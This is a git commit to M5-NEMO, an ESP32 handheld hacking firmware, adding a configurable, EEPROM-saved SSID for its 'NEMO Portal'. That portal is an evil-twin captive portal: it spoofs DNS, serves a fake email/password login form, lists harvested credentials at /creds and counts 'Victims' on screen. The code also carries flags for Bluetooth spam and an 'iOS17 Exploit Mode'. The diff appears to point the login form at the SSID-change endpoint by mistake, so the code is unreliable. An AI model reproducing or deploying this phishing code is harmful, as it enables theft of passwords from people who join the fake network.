Add the ability to change wifi SSID, saves to EEPROM

This commit is contained in:
Noah Axon 2024-01-07 02:00:04 -06:00
parent c18839b9b6
commit b0705c3e0e
2 changed files with 140 additions and 61 deletions

View File

@ -2,9 +2,9 @@
// github.com/n0xa | IG: @4x0nn // github.com/n0xa | IG: @4x0nn
// -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=- // -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=-
//#define STICK_C_PLUS #define STICK_C_PLUS
//#define STICK_C_PLUS2 //#define STICK_C_PLUS2
#define STICK_C //#define STICK_C
//#define CARDPUTER //#define CARDPUTER
// -=-=- Uncommenting more than one at a time will result in errors -=-=- // -=-=- Uncommenting more than one at a time will result in errors -=-=-
@ -151,6 +151,32 @@ String buildver="2.2.2";
// 18 - QR Codes // 18 - QR Codes
// 19 - NEMO Portal // 19 - NEMO Portal
int advtime = 0;
int cursor = 0;
int wifict = 0;
int brightness = 100;
int ajDelay = 1000;
int apSsidOffset = 16;
int apSsidMaxLen = 32;
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
const byte PortalTickTimer = 1000;
String apSsidName = String("");
bool isSwitching = true;
#if defined(RTC)
int current_proc = 0; // Start in Clock Mode
#else
int current_proc = 1; // Start in Main Menu mode if no RTC
#endif
#if defined(USE_EEPROM)
#include <EEPROM.h>
#define EEPROM_SIZE 64
#endif
#include <IRremoteESP8266.h> #include <IRremoteESP8266.h>
#include <IRsend.h> #include <IRsend.h>
#include <DNSServer.h> #include <DNSServer.h>
@ -163,24 +189,6 @@ String buildver="2.2.2";
#include <BLEUtils.h> #include <BLEUtils.h>
#include <BLEServer.h> #include <BLEServer.h>
int advtime = 0;
int cursor = 0;
int wifict = 0;
int brightness = 100;
int ajDelay = 1000;
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
const byte PortalTickTimer = 1000;
#if defined(USE_EEPROM)
#include <EEPROM.h>
#define EEPROM_SIZE 4
#endif
struct MENU { struct MENU {
char name[19]; char name[19];
int command; int command;
@ -198,12 +206,6 @@ QRCODE qrcodes[] = {
{ "ZomboCom", "https://html5zombo.com/"}, { "ZomboCom", "https://html5zombo.com/"},
}; };
bool isSwitching = true;
#if defined(RTC)
int current_proc = 0; // Start in Clock Mode
#else
int current_proc = 1; // Start in Main Menu mode if no RTC
#endif
void drawmenu(MENU thismenu[], int size) { void drawmenu(MENU thismenu[], int size) {
DISP.setTextSize(SMALL_TEXT); DISP.setTextSize(SMALL_TEXT);
@ -285,7 +287,7 @@ bool check_next_press(){
dimtimer(); dimtimer();
return true; return true;
} }
M5Cardputer.update(); //M5Cardputer.update();
if (M5Cardputer.Keyboard.isKeyPressed(KEY_TAB) || M5Cardputer.Keyboard.isKeyPressed('.')){ if (M5Cardputer.Keyboard.isKeyPressed(KEY_TAB) || M5Cardputer.Keyboard.isKeyPressed('.')){
dimtimer(); dimtimer();
return true; return true;
@ -467,6 +469,7 @@ MENU smenu[] = {
{ "Rotation", 7}, { "Rotation", 7},
#endif #endif
{ "About", 10}, { "About", 10},
{ "Reboot", 98},
#if defined(USE_EEPROM) #if defined(USE_EEPROM)
{ "Clear Settings", 99}, { "Clear Settings", 99},
#endif #endif
@ -482,12 +485,19 @@ void smenu_setup() {
void clearSettings(){ void clearSettings(){
#if defined(USE_EEPROM) #if defined(USE_EEPROM)
EEPROM.write(0, 255); // Rotation for(int i = 0; i < EEPROM_SIZE; i++) {
EEPROM.write(1, 255); // dim time EEPROM.write(i, 255);
EEPROM.write(2, 255); // brightness }
EEPROM.write(3, 255); // TV-B-Gone Region
EEPROM.commit(); EEPROM.commit();
#endif #endif
screenBrightness(100);
DISP.fillScreen(BGCOLOR);
DISP.setTextSize(BIG_TEXT);
DISP.setCursor(40, 0);
DISP.println("M5-NEMO");
DISP.setTextSize(SMALL_TEXT);
DISP.println("Restoring Default\nSettings...");
delay(5000);
ESP.restart(); ESP.restart();
} }
@ -501,6 +511,9 @@ void smenu_loop() {
if (check_select_press()) { if (check_select_press()) {
rstOverride = false; rstOverride = false;
isSwitching = true; isSwitching = true;
if(smenu[cursor].command == 98){
ESP.restart();
}
if(smenu[cursor].command == 99){ if(smenu[cursor].command == 99){
clearSettings(); clearSettings();
} }
@ -1524,9 +1537,6 @@ void wscan_loop(){
void bootScreen(){ void bootScreen(){
// Boot Screen // Boot Screen
if(check_next_press()){
clearSettings();
}
DISP.fillScreen(BGCOLOR); DISP.fillScreen(BGCOLOR);
DISP.setTextSize(BIG_TEXT); DISP.setTextSize(BIG_TEXT);
DISP.setCursor(40, 0); DISP.setCursor(40, 0);
@ -1633,6 +1643,9 @@ void setup() {
#else #else
M5.begin(); M5.begin();
#endif #endif
if(check_next_press()){
clearSettings();
}
#if defined(USE_EEPROM) #if defined(USE_EEPROM)
EEPROM.begin(EEPROM_SIZE); EEPROM.begin(EEPROM_SIZE);
Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0)); Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0));
@ -1657,11 +1670,7 @@ void setup() {
brightness = EEPROM.read(2); brightness = EEPROM.read(2);
region = EEPROM.read(3); region = EEPROM.read(3);
#endif #endif
screenBrightness(brightness); getSSID();
dimtimer();
DISP.setRotation(rotation);
DISP.setTextColor(FGCOLOR, BGCOLOR);
bootScreen();
// Pin setup // Pin setup
#if defined(M5LED) #if defined(M5LED)
@ -1687,6 +1696,12 @@ void setup() {
// Nemo Portal Init // Nemo Portal Init
setupSdCard(); setupSdCard();
bootTime = lastActivity = millis(); bootTime = lastActivity = millis();
screenBrightness(brightness);
dimtimer();
DISP.setRotation(rotation);
DISP.setTextColor(FGCOLOR, BGCOLOR);
bootScreen();
} }
void loop() { void loop() {

106
portal.h
View File

@ -31,7 +31,6 @@
int totalCapturedCredentials = 0; int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = 0; int previousTotalCapturedCredentials = 0;
String capturedCredentialsHtml = ""; String capturedCredentialsHtml = "";
String apSsidName = String(DEFAULT_AP_SSID_NAME);
// Init System Settings // Init System Settings
const byte HTTP_CODE = 200; const byte HTTP_CODE = 200;
@ -48,21 +47,62 @@ void setupWiFi() {
WiFi.softAP(apSsidName); WiFi.softAP(apSsidName);
} }
void setSSID(String ssid){
#if defined USE_EEPROM
Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length());
for(int i = 0; i < ssid.length(); i++) {
EEPROM.write(i + apSsidOffset, ssid[i]);
Serial.printf("%d:%d ", i+ apSsidOffset, ssid[i]);
}
EEPROM.write(apSsidOffset + ssid.length(), 0);
EEPROM.commit();
Serial.println("\ndone.");
#endif
apSsidName=ssid;
return;
}
void getSSID(){
String ssid="";
#if defined USE_EEPROM
if(EEPROM.read(apSsidOffset) < 32 || EEPROM.read(apSsidOffset) > 254){
Serial.println("SSID EEPROM Corrupt or Uninitialized. Using Defaults.");
apSsidName=DEFAULT_AP_SSID_NAME;
return;
}
for(int i = apSsidOffset; i < apSsidOffset + apSsidMaxLen; i++) {
int ebyte=EEPROM.read(i);
Serial.printf("%d:%d ", i, ebyte);
if(ebyte < 32 || ebyte > 254){
Serial.println("SSID: " + ssid);
apSsidName=ssid;
return;
}
ssid += char(ebyte);
}
#else
apSsidName=DEFAULT_AP_SSID_NAME;
#endif
return;
}
void printHomeToScreen() { void printHomeToScreen() {
DISP.fillScreen(BLACK); DISP.fillScreen(BLACK);
DISP.setSwapBytes(true); DISP.setSwapBytes(true);
DISP.setTextSize(2); DISP.setTextSize(MEDIUM_TEXT);
DISP.setTextColor(TFT_RED, BGCOLOR); DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.setCursor(0, 10); DISP.setCursor(0, 0);
DISP.print("NEMO PORTAL"); DISP.println("NEMO PORTAL");
DISP.setTextSize(SMALL_TEXT);
DISP.setTextColor(FGCOLOR, BGCOLOR); DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.setCursor(0, 35); DISP.printf("%s\n\n",apSsidName.c_str());
DISP.print("WiFi IP: "); DISP.print("WiFi IP: ");
DISP.println(AP_GATEWAY); DISP.println(AP_GATEWAY);
DISP.printf("SSID: "); //, apSsidName); DISP.println("Paths: /creds /ssid");
DISP.print(apSsidName); DISP.setTextSize(MEDIUM_TEXT);
DISP.println(""); DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.printf("Victim Count: %d\n", totalCapturedCredentials); DISP.printf("Victims: %d\n", totalCapturedCredentials);
DISP.setTextColor(FGCOLOR, BGCOLOR);
} }
String getInputValue(String argName) { String getInputValue(String argName) {
@ -115,7 +155,7 @@ String index_GET() {
String loginMessage = String(LOGIN_MESSAGE); String loginMessage = String(LOGIN_MESSAGE);
String loginButton = String(LOGIN_BUTTON); String loginButton = String(LOGIN_BUTTON);
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/post' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>"); return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/postssid' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
} }
String index_POST() { String index_POST() {
@ -129,6 +169,18 @@ String index_POST() {
return getHtmlContents(LOGIN_AFTER_MESSAGE); return getHtmlContents(LOGIN_AFTER_MESSAGE);
} }
String ssid_GET() {
return getHtmlContents("<p>Set a new SSID for NEMO Portal:</p><form action='/postssid' id='login-form'><input name='ssid' class='input-field' type='text' placeholder='"+apSsidName+"' required><button id=submitbtn class=submit-btn type=submit>Apply</button></div></form>");
}
String ssid_POST() {
String ssid = getInputValue("ssid");
Serial.println("SSID Has been changed to " + ssid);
setSSID(ssid);
printHomeToScreen();
return getHtmlContents("NEMO Portal shutting down and restarting with SSID <b>" + ssid + "</b>. Please reconnect.");
}
String clear_GET() { String clear_GET() {
String email = "<p></p>"; String email = "<p></p>";
String password = "<p></p>"; String password = "<p></p>";
@ -150,6 +202,17 @@ void blinkLed() {
} }
#endif #endif
void shutdownWebServer() {
Serial.println("Stopping DNS");
dnsServer.stop();
Serial.println("Closing Webserver");
webServer.close();
Serial.println("Stopping Webserver");
webServer.stop();
Serial.println("Setting WiFi to STA mode");
WiFi.mode(WIFI_MODE_STA);
}
void setupWebServer() { void setupWebServer() {
Serial.println("Starting DNS"); Serial.println("Starting DNS");
dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP) dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
@ -169,6 +232,7 @@ void setupWebServer() {
blinkLed(); blinkLed();
#endif #endif
}); });
Serial.println("Registering /creds"); Serial.println("Registering /creds");
webServer.on("/creds", []() { webServer.on("/creds", []() {
webServer.send(HTTP_CODE, "text/html", creds_GET()); webServer.send(HTTP_CODE, "text/html", creds_GET());
@ -177,6 +241,17 @@ void setupWebServer() {
webServer.on("/clear", []() { webServer.on("/clear", []() {
webServer.send(HTTP_CODE, "text/html", clear_GET()); webServer.send(HTTP_CODE, "text/html", clear_GET());
}); });
Serial.println("Registering /ssid");
webServer.on("/ssid", []() {
webServer.send(HTTP_CODE, "text/html", ssid_GET());
});
Serial.println("Registering /postssid");
webServer.on("/postssid", []() {
webServer.send(HTTP_CODE, "text/html", ssid_POST());
shutdownWebServer();
isSwitching=true;
current_proc=19;
});
Serial.println("Registering /*"); Serial.println("Registering /*");
webServer.onNotFound([]() { webServer.onNotFound([]() {
lastActivity = millis(); lastActivity = millis();
@ -185,14 +260,3 @@ void setupWebServer() {
Serial.println("Starting Webserver"); Serial.println("Starting Webserver");
webServer.begin(); webServer.begin();
} }
void shutdownWebServer() {
Serial.println("Stopping DNS");
dnsServer.stop();
Serial.println("Closing Webserver");
webServer.close();
Serial.println("Stopping Webserver");
webServer.stop();
Serial.println("Setting WiFi to STA mode");
WiFi.mode(WIFI_MODE_STA);
}